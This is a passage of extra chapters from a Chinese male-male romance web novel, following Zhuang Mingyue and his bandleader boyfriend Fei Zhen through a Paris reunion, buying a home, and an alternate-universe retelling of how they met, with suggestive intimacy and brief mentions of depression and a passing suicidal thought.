费臻来过三次,每次待一周到十天不等。其他时间,他们靠视频和电话互相支持鼓励。
庄明越每一次视频里看到费臻的脸,听到他喊“小月亮”,收到他寄来的奇奇怪怪的小礼物,就会更想他一点。
当年下半年,视角解构乐队罕见地接了一个欧洲的巡演邀请,最后一站正好是巴黎。
大队人马杀到时,庄明越正写到结业论文的最后一段。
门铃响,他打开门,看到门外站着费臻,还有郭扬、冯泰、周双叶和顾梦,以及疯狂摇尾巴的笨笨。
庄明越愣住了,众人也愣住了——
庄明越好看到过分了!!!
半年来,庄明越的头发长了不少,但学会了自己卷发烫发和抓造型,精心修剪的发尾微微盖住耳尖,被走廊灯照出清澈干净的轮廓。
衣着打扮已经融入了当地街头精致风格,比例如同国际时装模特,大V领之下露出的线条健康又诱人。
他的眼神依然平静,还带一些沉郁,但和半年前不同的,是独自在异国生活后生出的更加从容的光亮。
他的目光从费臻脸上扫过,又移到后面那群人身上,最后落在老抽色的大金毛身上。
庄明越露出难以自持的笑容,从唇边慢慢漫到眼底。
“你们……”
费臻站在门口,一动不动。
他看着庄明越在暖光里显得格外柔和的脸,和因为笑意而微微弯起的眼睛,看着那件V领时装下若隐若现的锁骨线条,忽然觉得嗓子有点干。
半年来每天视频,有时飞过来见庄明越,费臻自认为很了解他的男朋友,能观察到他的种种改变。
但现在,真人就站在他面前,耀眼得让他几乎不敢认了。
身后,郭扬和冯泰同时倒吸一口凉气。
“好家伙,”郭扬压低声音,凑到冯泰耳边,难以置信地问,“这是咱庄老师?”
冯泰艰难地咽了口唾沫:“是的吧。”
“半年前不长这样吧?”
“长了吧。”冯泰的声音有点飘,“就是怎么说呢?”
他想了一会儿,深沉地发言:“他现在斩女又斩男,放进乐队肯定炙手可热,私信都要爆了,都不用营销,咱直接升咖成国际知名一线摇滚天团。”
郭扬深以为然地点点头:“我们也学起来吧,这年头的男人,不卷不行。”
他们见过庄明越很多次,印象里的庄老师安静话少,画画很好,偶尔会为了费臻的身体着急冷脸。
但现在站在门口的这个人,让人一看就挪不开眼,让人分外感慨,这趟国是出对了!
周双叶在旁边捂着嘴笑,对顾梦投去一个心领神会的眼神。顾梦取下眼镜,仔细擦拭后重新戴上,对着庄明越点一下头。
笨笨倒是毫无心理负担,它只认气味,拼命往门里挤,去蹭庄明越的腿。
庄明越被笨笨拱得往后退了一步,低下头,笑着揉了揉大狗头。
“笨笨,想我了吗?”庄明越和笨笨打了招呼,又抬头问顾梦,“只有笨笨过来吗?咯咯哒哒和金币呢?”
顾梦笑:“谢谢你关心它们,它们不适合托运就在家留守,我爸妈帮忙呢,没事儿。”
在舒服的摸摸下,笨笨热情回应,疯狂舔抚摸它的漂亮的手,重点攻击手背上的小痣,还嫌不够,想舔庄明越的脸。
费臻把狗拽开,终于找回了自己的声音:“抱歉,没有提前告诉你。”
庄明越摇摇头:“我们之间说什么抱歉,看到你们到这里巡演,我就知道你们会过来。”
“庄老师,此事另有玄机!”周双叶打招呼,“不光是巡演噢,我们来进修啦!”
“进修?”庄明越这下真的愣了。
郭扬解释:“臻哥说你在法国太辛苦,就快到收尾的时候,怕出什么变化,让我们过来陪陪你。顺便这边有个音乐交流项目,我们报了个半个月的短期班,结束后可以和你一起回国。”
冯泰补充:“说白了就是公款自由行加蹭你饭,臻哥说你现在做饭可好吃。”
众人说话间,笨笨已经直奔卧室,杀枕头杀被子,在庄明越的公寓里四处乱窜,还想偷吃电饭煲里的喷香大米饭,几人逮它逮了很久,好在笨笨减肥成功体重稳定,逮捕过程中无人受伤。
费臻最后一个走进来,在庄明越面前站定。
“你欢迎吗?”
庄明越伸手,把费臻拉进怀里,紧紧抱住。
“当然欢迎。”
白天众人各自上自己的课程,下课的时间都差不多,一群人挤在庄明越的公寓里,热热闹闹地吃晚饭。
顾梦带来了麻将,饭后随手抓三个人凑成一桌。
起先她总是不经意地抓到庄明越的壮丁,被抢糊了几次后发现庄明越算牌又准又快又狠,根本不会放水,基本不给面子。
顾梦大叫着“不能让你再搓了”,换了费臻。
费臻笑出了声:“都跟你说了,明越很厉害的。”
周双叶插话:“我们都以为是你眼中的恋爱滤镜使你不聪明,没想到庄老师真的好厉害!”
庄明越坐到旁边沙发上,闻言微微一笑。
打麻将时,笨笨在众人的脚边窜来窜去,被周双叶捉住强亲狗头,嗷嗷叫着挣脱,凑到庄明越脚边,蜷起身子打瞌睡。
巴黎的培训很快结束,乐队众人都有不少收获,而庄明越拿到了结业证书。
费臻站在人群里,看着庄明越上台接过证书,对着镜头,用流利的法语感谢了学校、老师和同学,就好像梦回到了他们的大学时代。
下了台之后,庄明越走到费臻面前,向他展示证书。
虽然不是国内的本科毕业证,庄明越还是非常高兴,这是他努力得来的证明。
“怎么样?”
“很好。”费臻温柔地看着他,“证书特别好,你也是。”
那天晚上,其他人早早地回自己的住处休息,只有费臻留在公寓,和庄明越一起,唱歌画画,接吻拥抱。
第二天,他们飞回了中国,刚落地杭州,房东阿姨就联系了庄明越。
她笑着说:“呀,可算接电话了。小庄啊,不知道你愿不愿意和小费把这套房子买下来呢?我要出国和女儿团聚,应该是不会回来了,想先问问你们的意见。”
她和庄明越提了一下心理价位和二手房交易按揭的事,还关心了庄明越的深造情况。
庄明越挂断之前说:“我问问他,晚点给您回复。”
费臻在旁边写歌,听到庄明越这么说,抬起头:“怎么了?”
“房东问我们,想不想买下这套房?”
费臻思考片刻,放下笔,走过来,在庄明越旁边坐下。
“重点是,你想吗?”
庄明越想了一会儿,回答:“想,这是我们一起找的房子,有阳光,有露台,大衣帽间,地理位置不偏僻,商圈地铁都有,小动物们也来住过,就这么搬走了我舍不得。”
他顿了顿,“更重要的是阿姨给的报价也很实在,而且还能再谈,但也要看你的意见,毕竟买房是件大事,这意味着我们一起……”
意味着他们有一直在一起的决心和毅力,能好好生活,在这里许下对彼此更深层次的承诺。
费臻明白了庄明越的欲言又止,点头说:“我和你想得一样,有眼缘的房子就和人一样,错过可惜。”
不久后,房子正式过户到二人名下,成了完全属于他们的家。
庄明越看看房门钥匙,再看看费臻,陷入了一点愉快和难过混合的复杂情绪中。
费臻拍拍他的头:“想什么呢,这么入迷?”
“想着我们年纪轻轻就背上房贷了。”庄明越顿了顿,又摇头说,“其实我在想,如果窝窝还在,会不会喜欢这里?”
费臻不假思索地回答:“它肯定喜欢。”
“为什么?”
“因为你在。你在的地方,它就喜欢。”
作为新居的房子承载着更多希望和生活美学,墙要重新刷,地板要换,厨房和卫生间都要重做,但楼梯保留了下来。
樱桃木的楼梯用料扎实,每一级台阶都透着温润的光泽。
庄明越每次看到楼梯底下的咬痕,都会想起房东阿姨家养的黑色安哥拉巨兔。
大部分的实木柜子也保留了下来,它们历经岁月的洗礼,二人都舍不得换掉,索性在翻新时加固了一下。
二人搬出去租了个临时的小房子,每天跑过来看进度,和装修师傅沟通各种细节,碰到不靠谱的跑路师傅,就自己动手补完剩下的细节。
差点被无良师傅砸掉承重结构后,费臻完全学会了怎么看施工图纸,而庄明越学会了自己刷墙。
两个人为了卧室床头到底做背景墙还是刷艺术漆吵了一架,最后折中做了费臻想要的背景墙,但选了庄明越喜欢的颜色,还换了一张加大版的king size大床。
三个月后,房子翻新完成,费臻趁着庄明越没发现,紧急和乐队众人来了一场轰轰烈烈的开荒保洁。
第二天,他带着庄明越来到家门前。
推开门的瞬间,阳光从落地窗洒进来,透过阳台的幻影纱帘,落在鱼骨拼接的木地板上,投出大片温馨的阴影。楼梯和柜子被擦得锃亮,纤尘不染,现代与古朴的质感交融,和谐地组合在了一起。
“喜欢吗?”
“超喜欢。”
费臻把庄明越拉进大门,关上门后把庄明越按在门板上,吻了下去。
很久之后,二人才松开彼此。
费臻问:“新家还能叫什么,你知道是什么吗?”
“新居?”
“不对。”
“新房?”
“再猜。”
“猜不出来了,你快说?”
“爱巢。”
庄明越爆笑出声:“费列罗你要不要这么肉麻!”
费臻勾起嘴唇看着他,眼底有火:“我是在想,我们是不是该在每个地方都留一下痕?”
庄明越瞬间明白了他的意思,继续笑道:“你怎么光想着这种事?”
“绝不可能只有我一个人在想这种事。”费臻勾起手腕,向后一掏,“早看出来了,你这里不对劲。”
“……被你发现了,哎呀你不要玩火,别摸了!”
重新入住第一日,每到一个地方,费臻都会说一句“这儿以后就是我们的了”,然后把庄明越按着亲,亲到他说不出话。
庄明越也会主动亲他。
最后他们瘫在主卧的大床上,动都不想动。
庄明越感叹:“我们真的有自己的家了。这床好大啊,牛逼!”
“敢于挑选这个尺寸的你更是牛逼。”费臻侧过身,把人抱住,“今晚累了吧,早点睡。”
早上醒来的时候,庄明越是被人蹭醒的。
他还是困得不行,人也疼,被费臻磋磨了半小时的精力后,终于明白为什么昨晚费臻叫他早点睡。
庄明越费力地抬起汗湿的手,用手掌盖住费臻的嘴唇,不让他再亲。
费臻转而拎起庄明越的手腕,在他掌心亲了一下。
庄明越还没反应过来,费臻已经低下头,舔了他手腕上十
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几年前留下的旧割伤。
“费臻……你干嘛……”
“嗯。”费臻含含糊糊地应了一声,“怎么?”
“你……”
“我什么?”费臻把让他满意的地方都巡回了一圈,才抬起头,看庄明越,“窝窝能舔你,我就不能?”
庄明越一把按住他的头:“窝窝还吃自己的葡萄便呢,你吃一个我看看!”
费臻笑出声:“我是人,不拉那个。”
庄明越瞪着他,憋了半天,只说出一句:“昨晚那么久,两次的约定都打破了,你还没完了?”
费臻点头:“没完。”
然后他低下头笑,但还是没放过庄明越。
到了傍晚,庄明越陆陆续续躲了好几个地方,已力竭,感觉比前一天还累人。
哪怕费臻跟他说没够,他也懒得推开他了。
他问费臻:“你属狗的?”
费臻回答:“我属兔的,身份证作证。”
庄明越愣了一下,连忙看了费臻的身份证,又搜了网上罗谢的资料。
一直以为费臻比他大一岁,现在才发现两个人都属兔子?
他如遭雷劈,看着费臻,汗出如浆,连狡辩的话也说不出来:“那个,我……”
费臻皱眉看他,委屈的表情快控制不住了:“你不走心,连男朋友哪一年出生都不知道?”
庄明越乖乖低头认错:“对不起,我跳了一级上学,一直以为你和寝室另外两个人同一年的。”
“我妈也让我早一年读书,这不是巧了吗。其实还是大你两个月的,你也叫臻哥。”费臻摇头,“就算两清了,毕竟闹了你那么久。”
“知道啦。”庄明越拖长音,“臻哥——”
晚些时候,两个人结束了嬉闹,窝在大床上,有一搭没一搭地聊天。
庄明越想到之前的事,问:“一直很好奇,你到底喜欢我哪里?”
“都喜欢。”
庄明越笑了:“这么敷衍?”
“不是敷衍。”费臻认真地看着他,“是真的都喜欢。”
“喜欢你画画时候的专注,偶尔露出老子的画天下第一牛逼,事后又尴尬懊悔的表情。”费臻竖起手指细数,“喜欢你笑起来的样子,喜欢你生气的时候瞪我,骂了我又内耗,表情全写在脸上。喜欢抱着你睡觉,你一点点地变结实,让我很有成就感。”
他顿了顿。
“喜欢你善良,喜欢你对窝窝那么好,喜欢你明明自己很难过,还会想着照顾别人。就连你把我的生肖记错,这种偶尔迷糊的地方,我也很喜欢。”
庄明越听着听着,感觉要被费臻夸到天上去了。
“还有很多很多,我可以每天一点一点讲给你听,一年都不重样。不过,”费臻慢慢地笑起来,“喜欢一个本身就很好的人,是人之常情吧?”
庄明越愣住了。
费臻看着他,端正了脸色,认认真真地说:“你本身就很好。不是因为我喜欢你才好的,是你本来就好,我才喜欢你。”
庄明越垂下头,想了很久,久到费臻以为他要哭了,他才抬起头,眼睛亮亮的,在费臻嘴角亲了一下。
“费臻,你也很好很好,你是我在这个世界上最喜欢的人。”
费臻笑着摸摸他的头。
“我知道。所以我也很喜欢自己。”
庄明越愣了一下,然后笑出了声,垂下眼,不知道是第几次亲到了费臻腰上的疤。
“很喜欢自己的费先生,我现在要好好亲你了,虽然我没你这么会到处亲。”庄明越摸着费臻手术后的疤痕,“可是这里,从我第一次看到的时候开始,每次都想亲,我是不是很坏?”
费臻摇头:“人之常情。”
庄明越抿唇一笑。
每次看到这处疤痕,他都会想起费臻说的话:痛苦的复健,漫长的等待,靠着窝窝的微博撑过来的夜晚。
但这些在这一晚全数化作了动力。
费臻的声音比歌唱时还要美妙,像是强烈的催化剂,引人不自觉沉迷。
不多时,费臻闷在枕头里,含混地埋怨:“我看不到你的脸。”
庄明越低低应了一声,还是让他转了过来。
……
是夜,费臻洗完澡出来,擦着头发笑叹:“你学坏了,哪来那么多的小花招。”
他刚走到床上坐下,庄明越凑过来,在他嘴角亲了一下。
“我这是成长了。”
费臻放下毛巾,把心里话说了出来:“你走了半年,我想了半年。”
庄明越抱住他,回答:“我也一样。”
费臻随着他一起躺倒,放松地闭上眼。
“现在终于可以不用想了。”
半晌后,他睁开眼,问:“怎么不说话?为什么不再接一句你也一样?”
庄明越的下巴蹭蹭他肩窝:“不一样,我还是会想,就算抱着你,也会想。”
费臻反省:“我给你的安全感还不够,对吗?”
“不是的。”
“我不是因为没有安全感才想你。”庄明越闭着眼,耳朵埋在恋人身前,听着费臻的心跳,慢慢地自我剖析,“是因为太喜欢了,才想你。”
“即使我们面对面,我还是会不由自主地想念你。”
“吃饭的时候想你胃口好不好,吻你的时候想你舒不舒服,睡觉的时候想你又做了什么梦。”
“这不是你给的安全感不够。”
庄明越说到这里,一时间找不到合适的词。
费臻替他补上了:“这是爱。”
庄明越听了,睫毛轻轻一颤,嘴角不自觉地上扬。
“对,是爱情。”
37.番外10
大学毕业后不久,庄明越火遍了全网,特别是进入游戏行业后,他画的每一张图都能在微博转发几万条,参与的每一个游戏项目原画都在业内引发一波模仿的风潮。
杭州顶流的游戏公司把庄明越挖了过去,给了待遇最好的美术项目组小组长的位置。从画画到项目优化和人才培养,庄明越飞速地成长,过不到半年,就坐上了总经理的位置。
毕业一年,他坐稳了位置,公司员工见了他,都要恭敬地喊一声“庄总”,就连他爸千里迢迢赶来想找他麻烦,被他随手一张支票打发走了。
但日子不会一直顺风顺水,公司组里新来个刺头,名校毕业,绩点全优,还有董事会成员的爸撑腰,在开会时顶撞庄明越,评审时否定他,当着全组的面说他“不过是运气好,野鸡美术大学毕业的货色,赶上风口了”。
庄明越在会议室里,听那个人把话说完,只说了一句“散会”。
走出公司的时候,他的手一直在抖,怎么也停不下来,去医院挂了急诊,医生说是抑郁焦虑的躯体化表现,但不严重,给他开了点疏肝解郁胶囊。
庄明越用手机查了查功效和副作用,觉得影响工作,没去药房拿药,转而去了公司附近的一家酒吧。
酒吧里放着爵士乐,光线昏暗,没什么客人。庄明越坐在吧台角落小酌。
他酒量不好,只点了低度数果酒,但一杯接着一杯,很快脑子发木,胸口那团火终于不那么烧了。
他起身去后巷透气,巷子里有一盏坏了的路灯,明暗闪烁,飞蛾绕在上面,扇动翅膀,做着无用功。
庄明越靠在路灯边的墙上,眯起眼,回想晚上开会时发生的事。
身旁突然传来一声:“别挡着我的光。”
庄明越转过头,发现墙角缩着一个人,浑身散发着酒气,怀里抱着一把破吉他,头发长到遮住眼睛,但露出来的鼻子和嘴唇却形状较好,而且眼熟,好像在哪里见过。
庄明越走过去,蹲下来,伸手想去看对方的眼睛。
手刚碰到那人的脸,就被“啪”地打掉。
那人猛地睁开眼,那双眼睛在黑暗中亮得惊人,带着被惊扰的愤怒和防备,像是被人踩了尾巴的野猫。
“别碰我!”
庄明越愣住了。
他看到那双眼睛,一瞬间就认了出来,那是他在大二时辍学的同学费臻,听说家里开巧克力厂,是国际知名品牌,很有钱,三年过去了,不知道费臻怎么会在这里买醉。
但他自己又如何呢,还不是在这里喝完酒出来吹风?
成年人的世界里就没有容易二字,特别是身后无人托举。
庄明越后知后觉地感到疼痛,低下头,看着自己被打红的手背。
那一下挺重的,红了一大片。
庄明越不知道自己是怎么了,可能是喝了酒情绪上头,可能是被那个刺头气了一天,可能是这半年来所有积压的情绪终于找到了一个出口——
他死死盯着费臻,眼睛慢慢地红起来,眼泪溢出眼眶,一点点无声地往下掉,最终变成一连串的丝线,汹涌异常。
费臻愣住了,半天才呐呐地开口:“你怎么了?”
庄明越吸了吸鼻子,声音沉闷又委屈:“你打得好疼。”
费臻眨了眨眼,大脑有些宕机,不知所措地说:“我不是……没有想把你打疼,只是本能反应……”
庄明越盯着他,继续哭,眼泪劈里啪啦地砸在地上。
费臻的酒醒了大半,抱着吉他挣扎着站起来,但腿一软,差点摔倒。
庄明越下意识伸手去扶,手伸到一半又缩回来,怕再挨打。
费臻看着他缩回去的手,喉头哽了一下,问:“你家在哪儿?我送你回去,算我赔你的,你这么哭着看不清路,撞电线杆子上怎么办。”
庄明越被他说得笑了一下,随即说:“我才没那么蠢!”
“诶,我看不出来,你穿着这么好看的西装,哭成这样,感觉好怪。”
“哪里怪?”
“不知道。”费臻摇头,“是我不好,你别哭了,看你的穿着明天还上班吧?眼睛哭成核桃会被人笑的。”
酒吧离庄明越的家不远,他每次感觉压力大,晚上都会步行过来喝一点。
费臻送他回去的路上,一个劲地让他别再哭了。
费臻和庄明越同班,又是同一个寝室,但据说不是自愿选择的绘画,大二那年和家里闹矛盾退学了。
费臻送庄明越到家,又小声地说了一句:“抱歉,打疼你了。”
庄明越摇摇头,醉意早已被回来时路上的风吹散。
“你为什么坐在那里,愿意说说吗?”
费臻笑了一下,很颓废的笑容,却难掩迷人。
庄明越发现他笑起来真的挺很好看,不像自己每天对着镜子练习职业微笑,还被刺头吐槽假惺惺。
费臻说:“我每晚弹完吉他唱完歌,老板会给点小吃,再附送一瓶酒,喝完我就坐在那里。”
费臻说他组过乐队,黄了。写过歌,没人听。混到现在,成了酒吧后巷的常驻人员。
“你家在哪儿?”庄明越问。
费臻回答:“酒吧有个地下室,老板算我五十一天。”
“为什么不住家里?”
“我讨厌我爸,也不想我妈担心,我只能一个人在外面,自己闯。”
庄明越拧起了眉。
没苦硬吃的普通人见过,混成这样的富二代他还是第一次见。
虽然上学时因为陈子深那个总做奇葩事的傻帽,连带着庄明越对费臻的感官也很不好,但他真没想过有人为了不吃喝家里的,退学又在酒吧驻唱,混不出名堂还把自己的生活搞成这样。
“那先住我这儿吧,我房子大,空着也是空着。”
费臻抬起头,看着他。
庄明越的眼睛还有点红,但已经不哭了。他就这么看着费臻,眼神平静,像在说一件很平常的事。
“为什么?”费臻问。
庄明越想了一会儿,说:“我们公司最近有个新成员,特别擅长气人,你和他长得很像,还打我手,你如果住在这里,我可以每天骂你两句出出气。”
这话说得很气人,费臻却笑了起来。
“你笑什么?”
“笑你的想法还挺可爱的,你不会直接骂那个人吗?”
庄明越抿起唇,半晌说:“和你一样,我也有不得不忍的理由。”
“行。”费臻听了问,“我记得你大学的时候说讨厌做饭,现在还讨厌吗?我看你挺瘦的,像没吃饱。”
庄明越本身就胃口不好,回答说:“我不爱做饭。”
“我不白住,给你准备三餐,ok吗?”
庄明越点头,对他比了一个ok。
费臻住下了,白天给庄明越准备早饭和中午带去吃的便当,顺手做好晚上的饭菜,放进冰箱,让庄明越回来之后,把饭菜放进微波炉转一转就能吃。
一个月后,庄明越被他养胖了一点,同时费臻的哥哥那边传来消息,他顺势加入了他哥费治的乐队。
费治和孙照寒正准备退出,接手家里的巧克力生意。乐队缺个主唱,费臻正好顶上。
费臻和鼓手冯泰、贝斯手郭扬本身就认识,关系很不错,进去后,三人一起招募了新的吉他手杜文敬,将“第一视角”乐队更名为“视角解构”,重新出发。
庄明越去看了他们的第一场演出。
站在台下,看着台上那个人,被聚光灯笼罩着,整个人像在燃烧。
他忽然想起那天晚上,后巷里亮得惊人的眼睛,原来那是还没烧起来的火。
现在,烈火终于燃起,他一改先前对费臻的感官。
那不是没混出名堂,费臻只是缺一个机遇,给了他合适的助力,他会飞得很高。
演出结束后,费臻在后台找到他,流着汗问:“我表现得怎么样?”
“还行。”庄明越矜持地说,“没我想得那么差。”
费臻笑了起来。
他知道庄明越在嘴硬。因为他看到庄明越的眼睛,从头到尾都没从他身上移开过。
过了这个月,费臻开始变得忙碌。
乐队像乘了东风,扶摇直上,越唱越好,演出越来越多,排练越来越长。
庄明越在家里的时间,从每天能见到费臻,变成一周见两三次,再到后来,有时半个月都见不到一次,有的只是冰箱里雷打不动的三餐饭。
与此同时,庄明越在公司里的日子也越来越难。
刺头下属变本加厉,上司迫于董事长,开始给他穿小鞋,想让他知难而退,把总经理的位置留给刺头。
庄明越每天加班到凌晨,回家倒头就睡,醒来又是同样的循环,从某天开始彻底失去了胃口,冰箱里费臻准备好的三餐食物被他带到公司,在工作的间隙,一口一口地塞进嘴里,麻木地向下咽。
再也尝不出好坏,只是用来维持生命。
有一天,庄明越站在公司的落地窗前,看着下面川流不息的车流,忽然想:跳下去会怎么样?
这个念头只存在了一瞬,但足以让庄明越把自己吓到。
他请了一周假休息,直属领导少见地拍着他的肩膀跟他解释:“其实我不是对你不满意,我也难做人。”
庄明越觉得他是在撇清关系。
终究只是他一个人受着煎熬。
费臻得知庄明越请假后,推掉了所有的排练,提前赶回家。
他轻手轻脚地打开门,看到庄明越窝在沙发上,居家服很单薄,什么也没盖,闭着眼睛,不知道睡着了没有。
眉头紧皱着,脸色很苍白。
费臻走过去,在庄明越旁边坐下,心头发酸。
他是越来越好了,可是捡他回来的人却陷入了泥潭。
庄明越没睁开眼,低声问:“今天这么早回来?”
费臻应了一声。
庄明越睁开眼,看着费臻,良久,问了一句:“你要不要搬出去?”
费臻愣住了:“你说什么?”
庄明越垂下眼,声音很轻:“你现在这么忙,老往这边跑也不方便,而且其实我们公司提供堂食,你做饭也很浪费时间,不如——”
他没说完,费臻伸出双手,捧住他的脸,吻了下去。
强势的吻,带着怒意,庄明越张开嘴想要制止,却给了费臻伺机破入的机会。
庄明越被吻得喘不过气,喉间发出呜咽,去拍打费臻的后背。
眼看没用,还吻得更用力,庄明越只能拽费臻的长发。
费臻吃痛,但还是没停。
庄明越脱力地松开手,闭上眼睛,破罐破摔地被吻。
很久之后,费臻才放开他。
“庄明越。”费臻看着他的眼睛,发了很重的誓,“我不会丢下你离开,否则我这辈子就留在酒吧后巷,哪儿都去不了。”
庄明越愣住了。
费臻继续说:“丢开你逃走,只顾着自己成功,那是胆小鬼才有的行为。”
他看着庄明越的眼睛,声音低下去,却更用力:“我不是胆小鬼。我知道,你也不是。”
庄明越看着他亮得惊人的眼睛,鬼使神差地点头说:“我知道了。”
费臻把他紧紧抱住,用手臂丈量:“又瘦了,你是不是偷偷倒掉我做的饭菜了?”
“没有,我都吃完了,一点没剩。”庄明越想了想,“可能是不消化。”
他靠在费臻肩上,闭上眼睛,轻声询问:“亲我是什么意思?”
“你说呢?”
“我不知道。我是男的,不喜欢同性,我以为你也一样。”
“是一样,但遇到你就变了。”费臻低声回应,“我才知道张老师有一次在课上讲的,性取向的流动性是怎么一回事。”
“可是那只有你一个人流动了。”
“什么意思?”费臻挑眉,表情有些微懊恼,“不喜欢我?只有我一个人暗恋得上头?”
庄明越睁开眼,把费臻推开,双手扶着他的肩膀说:“我的意思是,你那么好,没必要喜欢我。”
费臻叹息一声:“我给你一个机会重说,你不好好把自己的心意表达清楚,我真的会生气。”
“我……”庄明越让他逼得不得不说了实话,“我要是不喜欢你,为什么还捡你回来?”
“再说清楚一点。”
“喜欢的。”庄明越垂下头,耳朵红了,“我喜欢你,也不想你走,只是习惯性把你推开,你不要生气。”
“乖孩子。”费臻抚摸庄明越的头发,又把对方拉向自己,再度拥吻。
晚上,他们睡到了一起,在此后的很长一段日子里决定了上下关系,庄明越不加班的日子里在上位,以及费臻巡演后回来,他们会在一晚之中变换几次位置。
第二年春天,庄明越成功挤走了刺头和不敢惹事的上司,从总经理升到了副总,几个在线上一起画画的朋友都说他的升职速度简直像是坐了火箭般的加速。
只有庄明越自己知道,费臻在这其中有多大的功劳。
职位稳定下来之后,庄明越有了多余的时间和精力,不光在某些方面可以更满足费臻,工作之余还能和费臻出去旅游。
日子长了,费臻从朋友那儿领回来一只白色的垂耳兔,鼻子尖带一撮灰毛,耳朵垂下来,小小的圆圆的,乐队的嫂子周双叶和顾梦看了,都在旁边叫着“好可爱好可爱”,一边疯狂拍照录视频。
“给它取个名字吧。”费臻把它放在庄明越手里,“每天看你刷那么久的兔子视频,想养想得不得了吧。”
庄明越低头看着掌心温热的小东西,心里一阵发软。
“那就叫窝窝。”
“为什么叫窝窝?”
“不知道。”庄明越迷茫地回答,“总觉得它就应该叫这个名字,好像很久很久之前,我就养过它一样。”
二人一起用心地养着唯一的独女,但窝窝身体并不太好,牙齿有点小问题,肠胃也弱,隔三差五就要往医院跑。
第一次半夜送急诊,庄明越抱着窝窝,费臻开车,两个人在深夜的街头上演了速度与激情。
窝窝在庄明越怀里发抖,费臻握着方向盘的手也在抖。
到了医院,医生检查完出来,说情况不太乐观,需要长期治疗,今晚得先做手术。
二人一起等着窝窝手术,互相安慰不会有事。
但费臻的脸色一直很差,嘴唇抿成一条线,眼睛里有庄明越从来没有见过的害怕和懊悔。
“怎么了?”
“我不知道窝窝身体这么差,我不想让你为了很多事担心,早知道……”
“没有早知道,既然咱们养了,就负责到底。”庄明越伸出手,和费臻交握,“要不咱们搬去上海吧?”
费臻猛地抬起头:“上海?”
“嗯,之前冯泰不是说,乐队在上海发展更有希望吗,好多合作方都在那个圈子里。”庄明越解释
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说,“而且那边有最好的宠物医院。我算过了,把杭州的房子卖了,手头的存款再凑凑,咱们俩还贷没问题的。”
费臻看着他,良久,发问:“你好不容易升职,你的工作……”
“我可以远程办公,而且我们公司在上海也有部门,只要你愿意。”
费臻握住庄明越的手,捏了捏:“只要你觉得没问题,哪里我们都一起去。”
一个月后,他们搬到了上海。
一套离宠物医院步行十分钟的房子,不大,但采光很好。
窝窝有了自己的封窗小阳台,每天下午可以在阳台晒太阳。
庄明越把画架支在客厅的落地窗前,费臻把吉他挂在卧室的墙上。
窝窝在两个人类之间跑来跑去,偶尔趴在庄明越脚边看他画画,偶尔钻进费臻怀里听他不着调地哼歌。
日子就这样一天天过去,在全上海最好的医生这里,窝窝的病情逐渐稳定下来。
医生说,牙齿状况还可以,不用靠磨牙,多多吃草就能解决问题。肠胃也调理好了,万幸不是巨结肠的毛病,只是菌群失调,要多补充益生菌。
“照这样下去,它可以活很久。”
“很久?”
庄明越和费臻相视一笑,都松了一口气。
搬家的第二年,乐队的事业进展得很顺利,专辑发了,巡演办了,粉丝涨了,乐队凝聚在一起,大家伙谁也离不开谁。
顾梦成了乐队的御用摄影师,每次演出都背着相机在台下跑来跑去,拍下一堆能直接当封面的照片。
发专辑后的一天,拍完乐队全家福,顾梦忽然叫住费臻和庄明越。
“你们两个,单独拍一张。”
费臻愣了一下:“拍什么?”
顾梦露出意味深长的笑:“当然是拍你们俩。”
费臻和庄明越看向彼此,都心下了然。
两个人站好位置,顾梦举着相机,找角度。
“臻哥,手搭在庄老师肩上。”
费臻伸手,揽住庄明越的肩膀。
“庄老师,笑一个。”
庄明越把手臂圈过费臻的腰,眉眼弯弯。
顾梦心满意足地按下快门。
事后,照片被费臻打印出来,装进相框,放在床头柜上。
没过几天,顾梦忽然又提议:“要不去你们家拍一张全家福?”
“全家福?”费臻挑眉。
“嗯。”顾梦说,“你们,和窝窝。”
二人同意后,大队人马赶到庄明越和费臻的新居,顾梦扛着单反全家桶,调整着各种镜头,周双叶在一旁帮她参谋,剩下三个男人围坐在一起,讨论这两年费臻和庄明越的变化。
窝窝被抱在中间,庄明越和费臻蹲在两边。
窝窝有点紧张,原本垂着的耳朵都竖了起来,像在开小兔飞机。
顾梦拿零食草条逗它:“窝窝,看这里!”
窝窝不看。
庄明越伸手,摸了摸它的头。
窝窝慢慢放松下来,耳朵软软地垂下去。
顾梦趁它不太动,按下快门。
当晚,庄明越做了一个梦。
梦里是一片绿油油的草场,窝窝在上面蹦来蹦去,和平日里没有什么区别,但庄明越听到了窝窝用人类的语言向他传递信息。
“大月亮。”
“你叫我什么?”
“大月亮。”窝窝又叫了一遍,声音甜甜的,“另一个爸爸叫你小月亮,你在我心中就是大月亮。”
““大月亮,谢谢你。”
“谢谢你捡到另一个爸爸,谢谢你带我来到更好的地方,谢谢你们给我治病。”窝窝的声音轻轻的,却很认真,“以前我也曾短暂地陪伴过你两年,但那是另一个时空,我的身体也更差,你肯定不记得啦。我本来以为自己这次也会很快回归母星,没想到命运给了我更好的结局。”
庄明越不太懂窝窝所说的结局,但他走上前,抱住了小兔。
“窝窝,我也很高兴你健健康康地活着,一直陪着我们。”
“我还会继续陪着你们的噢,在故事的尾声。”窝窝的声音在笑,“是童话就应该有一个好结局。”
庄明越的怀里,窝窝的身体在变淡,但声音清晰可辨。
“还有另一个爸爸,我也很爱他。”
庄明越醒来,看到费臻睡在旁边,呼吸均匀。
窝窝趴在他们二人的枕头中间,下面垫着绿色的小垫子。
庄明越伸出双手,同时摸了摸费臻和窝窝的脑袋,又陷入好眠。
又过了一年,到了窝窝三岁的生日,庄明越和费臻给它办了个小型派对。
顾梦被拉来当小兔摄影师,其他人也过来一起庆祝窝窝的生日。
窝窝是只社会化良好的小兔,毫不害怕突然多出来的这么多人,对这一切浑然不觉,只是埋头吃它的特制生日草饼,吃得满嘴都是草屑,像涂了口绿。
热热闹闹了一顿,到了夜幕降临,众人陆续告辞。
屋里只剩下他们三个。
窝窝吃饱喝足,蹦去厕所生产屎豆。
庄明越蹲在窝窝的厕所边,听它生产黄金粑粑的声音,如听仙乐耳暂明。
“今天是窝窝三周岁生日,也是我们交往四周年的纪念日。”
庄明越刚说完,就见费臻从背后拿出了一大把玫瑰,变魔术似的,递给他,单膝下跪。
“虽然不能领证,但还是希望你可以嫁给我。”
庄明越接过玫瑰,抿着嘴唇笑了半天,问:“怎么不是你嫁给我?”
“那也行,互相嫁。”费臻提议,“挑个日子办婚礼,把好朋友都叫来。”
“很完美的安排。”
“你答应了?”
“当然。”庄明越笑着回答,“一切都是命运的安排。你还记得我们第一次重遇吗?”
“记得,巷子里,两个人都喝得浑身酒味。”
